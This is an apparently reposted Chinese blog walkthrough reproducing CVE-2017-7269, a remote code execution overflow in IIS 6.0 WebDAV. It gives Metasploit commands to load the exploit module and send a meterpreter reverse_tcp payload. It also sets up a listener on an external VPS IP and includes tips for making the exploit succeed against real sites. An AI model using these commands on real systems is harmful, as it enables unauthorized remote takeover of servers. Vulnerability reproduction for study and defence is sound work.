IIS6遠程代碼執行漏洞復現CVE-2017-7269


簡述

CVE-2017-7269是IIS 6.0中存在的一個棧溢出漏洞,在IIS6.0處理PROPFIND指令的時候,由於對url的長度沒有進行有效的長度控制和檢查,導致執行memcpy對虛擬路徑進行構造的時候,引發棧溢出,該漏洞可以導致遠程代碼執行。

測試環境

  • 受攻擊系統:windows server 2003
  • 攻擊系統:Kali 2018.04
  • 反彈主機:Ubuntu 18.04 LTS

CVE-2017-7269漏洞原理

由惡意的 PROPFIND 請求所引起:當 If 字段包含了 http://localhost/xxxx 這段超長URL時,導致緩沖區溢出(包括棧溢出和堆溢出)

具體位置在w3wp.exe,httpext模塊的ScStoragePathFromUrl函數處。

  • httpext!ScStoragePathFromUrl+0x360 處復制內存時產生了堆溢出
  • 被溢出的堆塊在 httpext!HrCheckIfHeader+0x0000013c 處分配;
  • 崩潰所在位置也是從函數 httpext!HrCheckIfHeader 執行過來的;

Metasploit5利用EXP

Metasploit加載自定義模塊

加載自定義模塊方法

1、	在home目錄里的【$HOME/.msf4/modules/exploits/】里就是自定義的模塊
2、	復制自定義模塊到這個目錄里調用,使用msf的reload_all就可以重新加載模塊路徑

在線加載EXP

# 創建EXP的路徑
mkdir -p $HOME/.msf4/modules/exploits/test
# 示例模塊加載
curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb


# 加載在線模塊
todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test
todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/6e5d2da61c82b0aa8cec36825363118e9dd5f86b/test_module.rb 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1140    0  1140    0     0   3607      0 --:--:-- --:--:-- --:--:--  7808

本地加載EXP

mkdir -p $HOME/.msf4/modules/exploits/test
cp cve-2017-7269.rb ~/.msf4/modules/exploits/test/test_module.rb

Metasploit利用命令- CVE-2017-7269

# 示例用法
reload_all                        # 加載自定義模塊
use exploit/test/test_module.rb   # 使用剛才加載模塊的路徑
show optins                       # 顯示當前配置的選項
set RHOST <遠程攻擊IP>            # 遠程攻擊IP
set HttpHost <網站域名>           # 遠程網站
set PhysicalPathLength <長度>     # 設置網站物理路徑長度
set payload windows/meterpreter/reverse_tcp # 設置payload
set LHOST <監聽IP>                # 監聽IP
exploit                           # 漏洞測試 

# 使用
reload_all
use exploit/test/test_module.rb
show options
set RHOST 192.168.221.147
set HttpHost 192.168.221.147
set PhysicalPathLength 8
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.221.133
exploit

Metasploit反彈SHELL

實戰過程中會反彈到外網的VPS上,Ubuntu VPS上安裝Metasploit。

# 下載和安裝metasploit
Curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

# 示例說明
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
exploit

# 使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 103.85.24.14
set LPORT 4444
exploit

把Metasploit的meterpreter當前shell后台運行用【background】命令。再調用起來用【sessions】就可以。

Windows server 2003實戰問題

  • 問題1:網站本地路徑的長度需要填寫正確,不然觸發不了緩沖溢出漏洞。例如下圖路徑長度為8:

  • 問題2:If頭信息中的兩個url是要求和站點綁定相匹配的, POC中if頭里面的域名及端口與綁定不一致時會失敗。
  • 問題3:IIS綁定的域名需要寫
  • 問題4:同一個應用程序池下多個站點的情況,有時對某一個站點執行exp,會導致同應用程序池下面所有的網站全部返回500,出現這種情況可以找旁站因為每個池都是獨立的w3wp進程,換一個可能在其他池的進行嘗試。

參考文章

[1] msf模塊說明
https://www.offensive-security.com/metasploit-unleashed/modules-and-locations/
[2] msf 使用說明
https://github.com/rapid7/metasploit-framework/wiki
[3] cve-2017-7269
https://github.com/zcgonvh/cve-2017-7269
[4] iis6.0遠程代碼執行漏洞復現(CVE-2017-7269)
https://blog.csdn.net/darkhq/article/details/79127820
[5] CVE-2017-7269 IIS6_WebDAV遠程代碼執行的正確打開方式
https://anquan.baidu.com/article/391
[6] https://www.ivoidwarranties.tech/posts/pentesting-tuts/metasploit/simple-attack/
[7] https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework
[8] CVE-2017-7269的幾個技巧及BUG修正
https://www.secpulse.com/archives/57264.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM